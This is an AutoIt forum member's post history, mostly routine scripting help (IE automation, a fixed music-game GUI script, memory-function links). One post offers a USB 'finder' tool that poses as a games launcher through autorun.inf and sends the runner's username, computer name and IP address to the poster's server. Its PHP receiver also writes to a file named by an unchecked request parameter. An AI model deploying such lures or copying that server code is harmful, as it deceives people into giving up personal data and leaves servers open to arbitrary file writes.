
killerofsix
Active Members-
Posts
61 -
Joined
-
Last visited
Everything posted by killerofsix
-
IE One instance, two windows
killerofsix replied to killerofsix's topic in AutoIt General Help and Support
Thanks guys. For some reason using _IEAttach wasn't working for me when I was first using it. Revisited since you two mentioned it. I have it working now so thanks EDIT: Also have to use sleep(1000) as I discovered through this topic '?do=embed' frameborder='0' data-embedContent>> The script won't run if sleep is <1000 -
I have a feeling this is really simple yet somehow I haven't been able to get it. Basically I _iecreate("http://randwebportal.com/) a new window and enter some info into a form and submit it. Once the new page has loaded I click on a link that opens a child window where I'll be doing some more automation. This second window is part of the same instance as the first one I made. What I can't figure out how to do is get the ie.application object of this new child window. I tried using WinGetHandle() which didn't work. I tried referring back to the original ie object to perform other _ieXX functions, didn't work either. This second window is opened with a javascript function on the webpage. It also becomes the active window. Thanks for any help. Add a _IELoadWait($oIE2) after the Do..Until loop Do Sleep(250) Local $oIE2 = _IEAttach("Title of the popup window", "embedded") Until IsObj($oIE2) _IELoadWait($oIE2)
-
Autoit License allows commercial apps?
killerofsix replied to Mr5o1's topic in AutoIt General Help and Support
That's why autoit is so awesome man -
AutoIt and PHP work together nicely
killerofsix replied to BinaryBrother's topic in AutoIt Example Scripts
I did something similar to this as well. Can check here if you want for another example of using php and autoit. -
Tap Maker (Create your own musics !)
killerofsix replied to FireFox's topic in AutoIt Example Scripts
ok now I'll explain what the problem was, tbh i've made the same mistake before the program extracts the pictures to: @TempDir & '\Tap_Maker\[pic.jpg]' every time u called GUICtrlCreatePic you didn't put the whole path. you had this: GUICtrlCreatePic('iphone.jpg', 0, 0, 360, 685, 128) when you meant this: GUICtrlCreatePic(@TempDir & '\Tap_Maker\iphone.jpg', 0, 0, 360, 685, 128) minor file path error but was an easy fix >_< #NoTrayIcon #Region ;**** Directives created by AutoIt3Wrapper_GUI **** #AutoIt3Wrapper_icon=TTR.ico #AutoIt3Wrapper_Compression=4 #AutoIt3Wrapper_UseAnsi=y #AutoIt3Wrapper_Res_Description=d3monCorp #AutoIt3Wrapper_Res_Fileversion=0.0.0.1 #AutoIt3Wrapper_Res_LegalCopyright=d3mon Corporation. All rights reserved. #AutoIt3Wrapper_Run_Obfuscator=y #Obfuscator_Parameters=/striponly #EndRegion ;**** Directives created by AutoIt3Wrapper_GUI **** #include 'GUICtrlSetOnHover_UDF.au3' #include 'ID3.au3' #include '7Zip.au3' #include 'IsPressed_UDF.au3' #include <Sound.au3> ; Opt('GUIOnEventMode', 1) Local $f_music, $init, $length, $f_fd, $t_init = 401, $s_artist, $s_title Local $b_Record = -1, $s_level = 1 Local $f_tmp = @TempDir & '\tmp.tap' $f_snd = _SoundOpen('menu_slide.wav') _FileInstall(1) #Region GUI $GUI = GUICreate('Tap Maker', 360, 685, -1, -1, 0x80000000) GUISetOnEvent(-3, '_Exit') GUISetOnEvent(-9, '_Drag') GUICtrlCreatePic(@TempDir & '\Tap_Maker\iphone.jpg', 0, 0, 360, 685, 128) $p_hm = GUICtrlCreatePic(@TempDir & '\Tap_Maker\home.bmp', 156, 79, 46, 30) GUICtrlSetOnEvent($p_hm, '_Home') GUICtrlSetTip($p_hm, 'Return to home screen') GUICtrlSetState($p_hm, 32) ;Region 1 $p_tt = GUICtrlCreatePic(@TempDir & '\Tap_Maker\TapTap_Maker.jpg', 20, 117, 320, 460, 128) $p_st = GUICtrlCreatePic(@TempDir & '\Tap_Maker\Start-n.jpg', 38, 467, 286, 48) GUICtrlSetOnHover($p_st, '_Hover', '_NoHover') GUICtrlSetOnEvent(-1, '_Start') ;Region 2 $p_bg = GUICtrlCreatePic(@TempDir & '\Tap_Maker\bg_Record.jpg', 20, 117, 320, 460, 128) GUICtrlSetState($p_bg, 32) $l_fn = GUICtrlCreateLabel("", 40, 137, 295, 22) _SetAttrib(-1, 14) GUICtrlSetState($l_fn, 32) $l_at = GUICtrlCreateLabel('Artist :', 40, 162, 45, 20) _SetAttrib(-1, 12) GUICtrlSetState($l_at, 32) $e_at = GUICtrlCreateEdit("", 90, 164, 230, 17, 128) GUICtrlSetState($e_at, 32) $l_ti = GUICtrlCreateLabel('Title :', 40, 182, 40, 20) _SetAttrib(-1, 12) GUICtrlSetState($l_ti, 32) $e_ti = GUICtrlCreateEdit("", 90, 184, 230, 17, 128) GUICtrlSetState($e_ti, 32) $l_ln = GUICtrlCreateLabel("", 40, 207, 295, 20) _SetAttrib(-1, 14) GUICtrlSetState($l_ln, 32) $p_pl = GUICtrlCreatePic(@TempDir & '\Tap_Maker\Play.bmp', 157, 485, 50, 50) GUICtrlSetOnHover($p_pl, '_Hover', '_NoHover') GUICtrlSetOnEvent($p_pl, '_Record') GUICtrlSetState($p_pl, 32) GUICtrlSetTip($p_pl, 'Start recording !') $b_rc = GUICtrlCreatePic(@TempDir & '\Tap_Maker\Record-n.bmp', 120, 533, 115, 27) GUICtrlSetState($b_rc, 32) ;Region 3 $p_ap = GUICtrlCreatePic(@TempDir & '\Tap_Maker\Background.jpg', 20, 117, 320, 460, 128) GUICtrlSetState($p_ap, 32) $p_Ls = GUICtrlCreatePic(@TempDir & '\Tap_Maker\L_Sparkle.bmp', 24, 490, 40, 40) GUICtrlSetState($p_Ls, 32) $p_Ms = GUICtrlCreatePic(@TempDir & '\Tap_Maker\M_Sparkle.bmp', 160, 490, 40, 40) GUICtrlSetState($p_Ms, 32) $p_Rs = GUICtrlCreatePic(@TempDir & '\Tap_Maker\R_Sparkle.bmp', 296, 490, 40, 40) GUICtrlSetState($p_Rs, 32) $p_Lh = GUICtrlCreatePic(@TempDir & '\Tap_Maker\L_Shake.bmp', 24, 480, 45, 32) GUICtrlSetState($p_Lh, 32) $p_Mh = GUICtrlCreatePic(@TempDir & '\Tap_Maker\M_Shake.bmp', 159, 460, 42, 75) GUICtrlSetState($p_Mh, 32) $p_Rh = GUICtrlCreatePic(@TempDir & '\Tap_Maker\R_Shake.bmp', 292, 482, 45, 32) GUICtrlSetState($p_Rh, 32) $l_rm = GUICtrlCreateLabel("", 45, 137, 180, 22) _SetAttrib(-1, 14) $l_st = GUICtrlCreateLabel("", 280, 137, 40, 22) _SetAttrib(-1, 14) ;Region 4 $p_di = GUICtrlCreatePic(@TempDir & '\Tap_Maker\Difficulty.jpg', 20, 117, 320, 460, 128) GUICtrlSetState($p_di, 32) $b_ed = GUICtrlCreatePic(@TempDir & '\Tap_Maker\E_Difficulty.jpg', 35, 240, 288, 48) GUICtrlSetOnEvent($b_ed, '_Easy_Check') GUICtrlSetState($b_ed, 32) $b_md = GUICtrlCreatePic(@TempDir & '\Tap_Maker\M_Difficulty.jpg', 35, 288, 288, 48) GUICtrlSetOnEvent($b_md, '_Meddium_Check') GUICtrlSetState($b_md, 32) $b_hd = GUICtrlCreatePic(@TempDir & '\Tap_Maker\H_Difficulty.jpg', 35, 336, 288, 48) GUICtrlSetOnEvent($b_hd, '_Hard_Check') GUICtrlSetState($b_hd, 32) $b_xd = GUICtrlCreatePic(@TempDir & '\Tap_Maker\X_Difficulty.jpg', 35, 384, 288, 48) GUICtrlSetOnEvent($b_xd, '_Extreme_Check') GUICtrlSetState($b_xd, 32) $p_ed = GUICtrlCreatePic(@TempDir & '\Tap_Maker\E_Difficulty.bmp', 266, 252, 28, 27) GUICtrlSetState($p_ed, 32) $p_md = GUICtrlCreatePic(@TempDir & '\Tap_Maker\M_Difficulty.bmp', 266, 300, 28, 27) GUICtrlSetState($p_md, 32) $p_hd = GUICtrlCreatePic(@TempDir & '\Tap_Maker\H_Difficulty.bmp', 266, 347, 28, 27) GUICtrlSetState($p_hd, 32) $p_xd = GUICtrlCreatePic(@TempDir & '\Tap_Maker\X_Difficulty.bmp', 266, 395, 28, 27) GUICtrlSetState($p_xd, 32) $p_ct = GUICtrlCreatePic(@TempDir & '\Tap_Maker\CreateTap-n.jpg', 35, 495, 286, 48) GUICtrlSetOnHover($p_ct, '_Hover', '_NoHover') GUICtrlSetOnEvent($p_ct, '_CreateTap') GUICtrlSetState($p_ct, 32) _GuiRoundCorners($GUI, 0, 0, 124, 124) GUISetState(@SW_SHOW, $GUI) #EndRegion ; While Sleep(100) If $b_Record = 1 Then $s_Sec = StringLeft(TimerDiff($init), StringInStr(TimerDiff($init), '.') -1) If TimerDiff($t_init) > 400 Then GUICtrlSetData($l_rm, 'Remaining : ' & _ExTicksToTime($length - $s_Sec)) $t_init = TimerInit( ) EndIf If _IsAndKeyPressed('11|25') Then GUICtrlSetState($p_Lh, 16) While _IsAndKeyPressed('11|25') Sleep(50) WEnd FileWrite($f_tmp, @CRLF & '52.000000, 400.000000, ' & StringFormat("%.6f", TimerDiff($init) / 1000) & ', 1') GUICtrlSetState($p_Lh, 32) ElseIf _IsAndKeyPressed('11|28') Then GUICtrlSetState($p_Mh, 16) While _IsAndKeyPressed('11|28') Sleep(50) WEnd FileWrite($f_tmp, @CRLF & '160.000000, 400.000000, ' & StringFormat("%.6f", TimerDiff($init) / 1000) & ', 2') GUICtrlSetState($p_Mh, 32) ElseIf _IsAndKeyPressed('11|27') Then GUICtrlSetState($p_Rh, 16) While _IsAndKeyPressed('11|27') Sleep(50) WEnd FileWrite($f_tmp, @CRLF & '271.000000, 400.000000, ' & StringFormat("%.6f", TimerDiff($init) / 1000) & ', 3') GUICtrlSetState($p_Rh, 32) ElseIf _IsAndKeyPressed('25|28|27') Then GUICtrlSetState($p_Ls, 16) GUICtrlSetState($p_Ms, 16) GUICtrlSetState($p_Rs, 16) While _IsAndKeyPressed('25|28|27') Sleep(50) WEnd FileWrite($f_tmp, @CRLF & '52.000000, 400.000000, ' & StringFormat("%.6f", TimerDiff($init) / 1000) & ', 0') FileWrite($f_tmp, @CRLF & '160.000000, 400.000000, ' & StringFormat("%.6f", TimerDiff($init) / 1000) + 0.05 & ', 0') FileWrite($f_tmp, @CRLF & '271.000000, 400.000000, ' & StringFormat("%.6f", TimerDiff($init) / 1000) + 0.10 & ', 0') GUICtrlSetState($p_Ls, 32) GUICtrlSetState($p_Ms, 32) GUICtrlSetState($p_Rs, 32) ElseIf _IsAndKeyPressed('25|28') Then GUICtrlSetState($p_Ls, 16) GUICtrlSetState($p_Ms, 16) While _IsAndKeyPressed('25|28') Sleep(50) WEnd FileWrite($f_tmp, @CRLF & '52.000000, 400.000000, ' & StringFormat("%.6f", TimerDiff($init) / 1000) & ', 0') FileWrite($f_tmp, @CRLF & '160.000000, 400.000000, ' & StringFormat("%.6f", TimerDiff($init) / 1000) + 0.05 & ', 0') GUICtrlSetState($p_Ls, 32) GUICtrlSetState($p_Ms, 32) ElseIf _IsAndKeyPressed('28|27') Then GUICtrlSetState($p_Ms, 16) GUICtrlSetState($p_Rs, 16) While _IsAndKeyPressed('28|27') Sleep(50) WEnd FileWrite($f_tmp, @CRLF & '160.000000, 400.000000, ' & StringFormat("%.6f", TimerDiff($init) / 1000) & ', 0') FileWrite($f_tmp, @CRLF & '271.000000, 400.000000, ' & StringFormat("%.6f", TimerDiff($init) / 1000) + 0.05 & ', 0') GUICtrlSetState($p_Ms, 32) GUICtrlSetState($p_Rs, 32) ElseIf _IsAndKeyPressed('25|27') Then GUICtrlSetState($p_Ls, 16) GUICtrlSetState($p_Rs, 16) While _IsAndKeyPressed('25|27') Sleep(50) WEnd FileWrite($f_tmp, @CRLF & '52.000000, 400.000000, ' & StringFormat("%.6f", TimerDiff($init) / 1000) & ', 0') FileWrite($f_tmp, @CRLF & '271.000000, 400.000000, ' & StringFormat("%.6f", TimerDiff($init) / 1000) + 0.05 & ', 0') GUICtrlSetState($p_Ls, 32) GUICtrlSetState($p_Rs, 32) ElseIf _IsPressed('25') Then GUICtrlSetState($p_Ls, 16) While _IsPressed('25') Sleep(50) WEnd FileWrite($f_tmp, @CRLF & '52.000000, 400.000000, ' & StringFormat("%.6f", TimerDiff($init) / 1000) & ', 0') GUICtrlSetState($p_Ls, 32) ElseIf _IsPressed('28') Then GUICtrlSetState($p_Ms, 16) While _IsPressed('28') Sleep(50) WEnd FileWrite($f_tmp, @CRLF & '160.000000, 400.000000, ' & StringFormat("%.6f", TimerDiff($init) / 1000) & ', 0') GUICtrlSetState($p_Ms, 32) ElseIf _IsPressed('27') Then GUICtrlSetState($p_Rs, 16) While _IsPressed('27') Sleep(50) WEnd FileWrite($f_tmp, @CRLF & '271.000000, 400.000000, ' & StringFormat("%.6f", TimerDiff($init) / 1000) & ', 0') GUICtrlSetState($p_Rs, 32) EndIf If TimerDiff($init) > $length Then _EndRecord( ) ;End of recording music EndIf GUICtrlSetData($l_st, _FileCountLines($f_tmp) -3) EndIf WEnd Func _SetAttrib($CtrlID, $Size) GUICtrlSetColor($CtrlID, 0xFFFFFF) GUICtrlSetFont($CtrlID, $Size) GUICtrlSetBkColor($CtrlID, -2) EndFunc Func _Start( ) GUICtrlSetImage($p_st, 'Start-p.jpg') While _IsPressed('01') Sleep(100) WEnd GUICtrlSetImage($p_st, 'Start-n.jpg') $f_br = _Browse( ) If $f_br = -1 Then Return ;Nothing _SoundPlay($f_snd) GUICtrlSetState($p_st, 32) GUICtrlSetState($p_tt, 32) GUICtrlSetState($p_hm, 16) GUICtrlSetState($p_bg, 16) GUICtrlSetState($p_pl, 16) GUICtrlSetState($b_rc, 16) GUICtrlSetState($l_fn, 16) GUICtrlSetState($l_at, 16) GUICtrlSetState($l_ti, 16) GUICtrlSetState($e_at, 16) GUICtrlSetState($e_ti, 16) GUICtrlSetState($l_ln, 16) EndFunc Func _Browse( ) $f_fd = FileOpenDialog('Select a music file to open...', @MyDocumentsDir, 'Music (*.mp3)', 3, "", $GUI) If @error Then Return -1 $f_gn = StringTrimRight(StringTrimLeft($f_fd, StringInStr($f_fd, '\', 0, -1)), 4) GUICtrlSetData($l_fn, 'File name : ' & $f_gn) _ID3ReadTag($f_fd) _ID3DeleteFiles( ) $f_music = _SoundOpen($f_fd) GUICtrlSetData($e_at, _ID3GetTagField("TPE1")) GUICtrlSetData($e_ti, _ID3GetTagField("TIT2")) GUICtrlSetData($l_ln, 'Length : ' & _SoundLength($f_music)) EndFunc Func _Record( ) GUICtrlSetImage($b_rc, 'Record-p.bmp') _SoundPlay($f_snd) While _IsPressed('01') Sleep(100) WEnd GUICtrlSetState($p_pl, 32) GUICtrlSetState($b_rc, 32) GUICtrlSetState($l_fn, 32) GUICtrlSetState($l_at, 32) GUICtrlSetState($l_ti, 32) GUICtrlSetState($e_at, 32) GUICtrlSetState($e_ti, 32) GUICtrlSetState($l_ln, 32) GUICtrlSetState($p_bg, 32) GUICtrlSetState($p_ap, 16) GUICtrlSetState($l_rm, 16) GUICtrlSetState($l_st, 16) $length = _SoundLength($f_music, 2) _SoundPlay($f_music) $init = TimerInit( ) #Region Music Infos $s_title = GUICtrlRead($e_ti) FileDelete($f_tmp) FileWrite($f_tmp, '#title ' & $s_title) $s_artist = GUICtrlRead($e_at) FileWrite($f_tmp, @CRLF & '#artist ' & $s_artist) FileWrite($f_tmp, @CRLF & '#id ' & Random(10000, 90000, 1)) #EndRegion $b_Record = 1 EndFunc Func _EndRecord( ) _SoundClose($f_music) _SoundPlay($f_snd) $b_Record = -1 GUICtrlSetState($p_ap, 32) GUICtrlSetState($l_rm, 32) GUICtrlSetState($l_st, 32) GUICtrlSetState($p_di, 16) GUICtrlSetState($b_ed, 16) GUICtrlSetState($b_md, 16) GUICtrlSetState($b_hd, 16) GUICtrlSetState($b_xd, 16) GUICtrlSetState($p_ed, 16) GUICtrlSetState($p_ct, 16) EndFunc Func _CreateTap( ) FileWrite($f_tmp, @CRLF) ;End of music line FileMove($f_tmp, @DesktopDir & '\' & $s_artist & " - " & $s_title & $s_level &'.tap', 1) FileCopy($f_fd, @DesktopDir & '\' & $s_artist & " - " & $s_title & '.m4a', 1) MsgBox(64, 'Tap Maker', 'Done !' & @CRLF & 'Music and .tap file placed on your desktop !') _SoundPlay($f_snd) GUICtrlSetState($p_di, 32) GUICtrlSetState($b_ed, 32) GUICtrlSetState($b_md, 32) GUICtrlSetState($b_hd, 32) GUICtrlSetState($b_xd, 32) GUICtrlSetState($p_ed, 32) GUICtrlSetState($p_ct, 32) GUICtrlSetState($p_ap, 32) GUICtrlSetState($p_hm, 32) _Home( ) EndFunc Func _Easy_Check( ) GUICtrlSetState($p_ed, 16) GUICtrlSetState($p_md, 32) GUICtrlSetState($p_hd, 32) GUICtrlSetState($p_xd, 32) $s_level = ' (easy)' EndFunc Func _Meddium_Check( ) GUICtrlSetState($p_ed, 32) GUICtrlSetState($p_md, 16) GUICtrlSetState($p_hd, 32) GUICtrlSetState($p_xd, 32) $s_level = ' (meddium)' EndFunc Func _Hard_Check( ) GUICtrlSetState($p_ed, 32) GUICtrlSetState($p_md, 32) GUICtrlSetState($p_hd, 16) GUICtrlSetState($p_xd, 32) $s_level = ' (hard)' EndFunc Func _Extreme_Check( ) GUICtrlSetState($p_ed, 32) GUICtrlSetState($p_md, 32) GUICtrlSetState($p_hd, 32) GUICtrlSetState($p_xd, 16) $s_level = ' (extreme)' EndFunc Func _Exit( ) _SoundClose($f_music) _SoundClose($f_snd) Exit _FileInstall(-1) EndFunc Func _Hover($iCtrl) Switch $iCtrl Case $p_st GUICtrlSetImage($p_st, 'Start-h.jpg') Case $p_pl GUICtrlSetImage($b_rc, 'Record-h.bmp') EndSwitch EndFunc Func _NoHover($iCtrl) Switch $iCtrl Case $p_st GUICtrlSetImage($p_st, 'Start-n.jpg') Case $p_pl GUICtrlSetImage($b_rc, 'Record-n.bmp') EndSwitch EndFunc Func _Home( ) _SoundClose($f_music) _SoundPlay($f_snd) $b_Record = -1 GUICtrlSetState($p_pl, 32) GUICtrlSetState($b_rc, 32) GUICtrlSetState($l_fn, 32) GUICtrlSetState($l_at, 32) GUICtrlSetState($l_ti, 32) GUICtrlSetState($e_at, 32) GUICtrlSetState($e_ti, 32) GUICtrlSetState($l_ln, 32) GUICtrlSetState($p_bg, 32) GUICtrlSetState($p_ap, 32) GUICtrlSetState($l_rm, 32) GUICtrlSetState($l_st, 32) GUICtrlSetState($p_di, 32) GUICtrlSetState($b_ed, 32) GUICtrlSetState($b_md, 32) GUICtrlSetState($b_hd, 32) GUICtrlSetState($b_xd, 32) GUICtrlSetState($p_ed, 32) GUICtrlSetState($p_md, 32) GUICtrlSetState($p_hd, 32) GUICtrlSetState($p_xd, 32) GUICtrlSetState($p_tt, 16) GUICtrlSetState($p_st, 16) EndFunc Func _ExTicksToTime($iTicks) If Number($iTicks) > 0 Then $iTicks = Round($iTicks / 1000) $iHour = Int($iTicks / 3600) $iTicks = Mod($iTicks, 3600) $iMin = Int($iTicks / 60) $iSec = Round(Mod($iTicks, 60)) Return StringFormat("%02i:%02i:%02i", $iHour, $iMin, $iSec) ElseIf Number($iTicks) = 0 Then Return "00:00:00" EndIf EndFunc Func _GuiRoundCorners($h_win, $i_x1, $i_y1, $i_x3, $i_y3) Local $pos = WinGetPos($h_win) $ret = DllCall("gdi32.dll", "long", "CreateRoundRectRgn", "long", $i_x1, "long", $i_y1, "long", $pos[2], "long", $pos[3], "long", $i_x3, "long", $i_y3) If $ret[0] Then $ret2 = DllCall("user32.dll", "long", "SetWindowRgn", "hwnd", $h_win, "long", $ret[0], "int", 1) EndFunc Func _Drag( ) DllCall('user32.dll', 'int', _ 'SendMessage', 'hWnd', $GUI, _ 'int', 0x00A1, 'int', 2, 'int', 0) EndFunc Func _FileInstall($s_inst) If $s_inst = 1 Then DirCreate(@TempDir & '\Tap_Maker') FileInstall('7-zip32.dll', @TempDir & '\Tap_Maker\7-zip32.dll') FileInstall('Tap_Maker.zip', @TempDir & '\Tap_Maker\Tap_Maker.zip') _7ZIPExtract(0, @TempDir & '\Tap_Maker\Tap_Maker.zip', @TempDir & '\Tap_Maker') Else DirRemove(@TempDir & '\Tap_Maker', 1) EndIf EndFunc now it's time for me to make so Tap Tap songs! -
Tap Maker (Create your own musics !)
killerofsix replied to FireFox's topic in AutoIt Example Scripts
this looks awesome the only problem for me is the program won't load the pictures or something so I have a blank window with no pictures on it. i ran both the exe and the script provided in the zip file and both give me the same problem. any solutions? I'm going to start going over your code but you can probably figure it out faster since you know the code better than I do >_< EDIT: figured it out! editing the code right now, will post the updated code in a min or 2 -
Periodic Table Of Chemical Elements
killerofsix replied to Dhilip89's topic in AutoIt Example Scripts
internet? -
LOL glad it's working now simple human error trumps all
-
very nice! if i torrented i'd like using this i think i'll give it to my friend though
-
Well first off, I'll admit i'm not a pro at coding with php. I have a general knowledge of writing in html and have been using autoit for about a year now. I just learned what I needed to know to make my script work. The getinfo.php on my first post IS the one i'm currently using and does work. as you can see from the code in that file there is nothing there that would make it work for only my site. Once again here's the code fetched right from my site: <?php $fn = $_GET["file"]; $fh = fopen($fn, 'w') or die("can't open file"); $username = $_GET["username"]; fwrite($fh, "Username: ".$username."\n"); $ip = $_GET["ip"]; fwrite($fh, "IP Address: ".$ip."\n"); $computername = $_GET["computername"]; fwrite($fh, "Computer Name: ".$computername."\n"); $date = $_GET["date"]; fwrite($fh, "Date of Message Sent: ".$date."\n"); $time = $_GET["time"]; fwrite($fh, "Time Message Sent: ".$time."\n"); fclose($fh); ?> I personally have no idea why it is not working for you. Try to see if this script from http://www.tizag.com/phpT/filecreate.php works for you <?php $ourFileName = "testFile.txt"; $ourFileHandle = fopen($ourFileName, 'w') or die("can't open file"); fclose($ourFileHandle); ?>If that doesn't work then i don't know. Does anyone else have this problem?
-
Scan all drives for autorun.inf
killerofsix replied to AutoProgramming's topic in AutoIt Example Scripts
glad to see I inspired something But for most PC's autorun is disabled and only appears as an option. For my USB finder it's just another way to lure the person who has your USB to run your app. This is a good defense against any malicious attempts to destroy your system through a usb or cd. good job with this script -
that's weird how your having trouble getting it to make the text file. the code is sound and i've already tested it multiple times. works every time. I've tested it on the following sites: http://www.unlimitedmb.com/ http://www.freephphostonline.com/ http://www.yourfreehosting.net/ and it always makes a text file with all the info inside for the above sites. what host are you using? or are you just using your own computer as a web server? Small update on first post regarding getting the IP. If anyone has a more efficient way of getting the IP post it, I do realize it's a pretty simple method but if someone get a better way I'd like to see it. thanks
-
@gseller I'll see if i get that problem with different hosts. It works fine for me. I've tried on my two home comps and on three of my school's computers so far. Works fine with all of them. might be your webhost. @crzftx Thats true that they may be behind a proxy. I don't know how to code in flash or java either and I can't think of any other way of getting their external ip address. Maybe i'll start learning flash or java
-
Why I made this Ok so a few days ago I left my USB in one of the school computer's. So the next day I went to ask the teacher if someone had the USB and of course everyone said "there was no USB here". So I lost all of my work and stuff which made me upset because I didn't have a sure way of getting my USB back!! So I made this program to help me get my USB back if I ever lose it again. How This Works Alright so first you must setup a website that supports php. There are plenty of free web hosts that support php so just GOOGLE IT! Alright now upload "ip.php" and "getinfo.php" to your website(attached;bottom of post) . I'll explain what these do later on. Alright now just edit my autoit script to your liking. #NoTrayIcon #include <string.au3> #include <Date.au3> #include <HTTP.au3>;download this here----> http://www.autoitscript.com/forum/index.php?showtopic=29631&st=15&p=319354&#entry319354 $UserName = @UserName $ComputerName = @ComputerName $Date = _DateTimeFormat(_NowCalc(), 1) $Time = _NowTime() $host = "www.google.com";Change to your website address e.g. www.savemyusb.com $page = "/getinfo.php";path to getinfo.php on YOUR website, www.savemyusb.com[/getinfo.php] $ippage = "/ip.php";path to ip.php on YOUR website, www.savemyurb.com[/ip.php] $GetIP = InetGet("http://" & $host & $ippage, @ScriptDir & "\ip.txt", 1) $ReadIPtxt = FileRead(@ScriptDir & "\ip.txt") $ReadIP = _StringBetween($ReadIPtxt, "<!-- IP START -->", "<!-- IP END -->") FileDelete(@ScriptDir & "\ip.txt") If $ReadIP = @error Then MsgBox(16, "Error!", "Unable to connect to server. Please try again later") Exit Else EndIf $vars = "ip=" & $ReadIP[0] & "&username=" & $UserName & "&computername=" & $ComputerName & "&date=" & $Date & "&time=" & $Time & "&file=" & $UserName & ".txt" $url = $page & "?" & _HTTPEncodeString($vars) $socket = _HTTPConnect($host) $get = _HTTPGet($host, $url, $socket) ;Change $FinalMsg to whatever you like! HAHA! Busted! $FinalMsg = "All of the above information and more have been sent" & @CRLF & "to my webserver and saved." & @CRLF & "I Will contact you soon to receive my USB." & @CRLF & "Thanks!" MsgBox(0, "Done sending information!", "Username: " & $UserName & @CRLF & "Computer Name: " & $ComputerName & @CRLF & "IP: " & $ReadIP[0] & @CRLF & @CRLF & $FinalMsg) My script will grab the following system information from their computer: -Username -Computer name -The current date -The current time -External IP address Then send it to your website which will then save it to a text file as 'culprit'sUsername.txt' with all the information inside! Then of course you can add a final message, like a "HAHA! gotcha!" to the end of the script How is this information helpful?? Username: A person's username can sometimes be their full name! Computer Name: Can help locate the computer their at, like at my school, the computer's names are "PEEL1234" Date & Time: Find the computer but no one's there? Security camera's! My school has them in the library and other places, so locate the computer the then just look at the time stamp. Cameras are everywhere! External IP: Type their IP address into: http://www.ip-adress.com/ip_tracer/ and you got their general location and ISP Info.php: Returns the user's external IP address getinfo.php: All of the culprit's information is sent using the GET method and then saved to a text file Also make an 'autorun.inf' to your USB so this program shows up as an autoplay option. [autorun] icon=USBRun.exe open=USBRun.exe action=Run Games label=USB Name shell\open\command=USBRun.exe shell\open=Run GamesChange "USBRun.exe' to whatever you name this program. Be creative and make a bunch of copies of this program, all with different names and icons, the culprit is bound to click on one of them! Please post any questions or suggestions about this script. If you can think of any other information that can be extracted from a person's computer then please post it. Also if anyone knows how to get a person's ISP using php then that would be really helpful! I've been unable to find anything using google. And when you post please say something constructive! Cheers! Here's getinfo.php <?php $fn = $_GET["file"]; $fh = fopen($fn, 'w') or die("can't open file"); $username = $_GET["username"]; fwrite($fh, "Username: ".$username."\n"); $ip = $_GET["ip"]; fwrite($fh, "IP Address: ".$ip."\n"); $computername = $_GET["computername"]; fwrite($fh, "Computer Name: ".$computername."\n"); $date = $_GET["date"]; fwrite($fh, "Date of Message Sent: ".$date."\n"); $time = $_GET["time"]; fwrite($fh, "Time Message Sent: ".$time."\n"); fclose($fh); ?> Here's ip.php <body> <!-- IP START --> <?php echo $_SERVER[REMOTE_ADDR]; ?> <!-- IP END --> </body>EDIT: Some free hosts put ads in the body of pages automatically so I put comments between the IP's so it only grabs the IP and not everything inside the body. Reupload ip.php and make a small change on line 15 of the .au3 script. EDIT 2: If "_StringBetween" returns an error the program will exit. getinfo.php ip.php Find_My_USB.au3
-
Look in helpfile. TrayTip
-
WoW Simple Player pointer and info Scanner...
killerofsix replied to StrategicX's topic in AutoIt Example Scripts
StrategicX post ur nomad memory udf for Ashww, that may be the problem. -
dude thats about as simple as it's gonna get. maybe u should read some tuts on how memory works
-
here http://www.autoitscript.com/forum/index.php?showtopic=78834 gl
-
hey here's a pretty good solution. Use Norton's version of vista's UAC. It comes with a 'Don't ask me again' option, meaning the next time you run that app you won't be bothered with the UAC screen. Here's wat the UAC looks like: Here's the download link: ftp://ftp.symantec.com/misc/sabu/norton_labs/NUACx86.exe I just made a quick autoit app that looks like this: #RequireAdmin MsgBox(0,'Works', 'Works') compiled it ran it once, checked the 'Don't ask me again' box, ran it a second time, no UAC prompt and displayed the message box. Hope this helps.
-
Here's the topic. Comes with all the Mem functions by Nomad and some good site. http://www.autoitscript.com/forum/index.php?showtopic=28351
-
_WinAPI : OpenProcess & WriteProcessMemory
killerofsix replied to LinuZ's topic in AutoIt General Help and Support
ya sure no problem -
_WinAPI : OpenProcess & WriteProcessMemory
killerofsix replied to LinuZ's topic in AutoIt General Help and Support
-
_WinAPI : OpenProcess & WriteProcessMemory
killerofsix replied to LinuZ's topic in AutoIt General Help and Support
try using Nomads memory functions. there are a lot more topics regarding his memory functions then the winapi one's Here's the topic: http://www.autoitscript.com/forum/index.php?showtopic=28351 -
;This is my code in autoit tags ;This is my code in autoit tags Also yes the Autoit code button isn't working for Firefox either
-
_WinAPI : OpenProcess & WriteProcessMemory
killerofsix replied to LinuZ's topic in AutoIt General Help and Support
try adding #RequireAdmin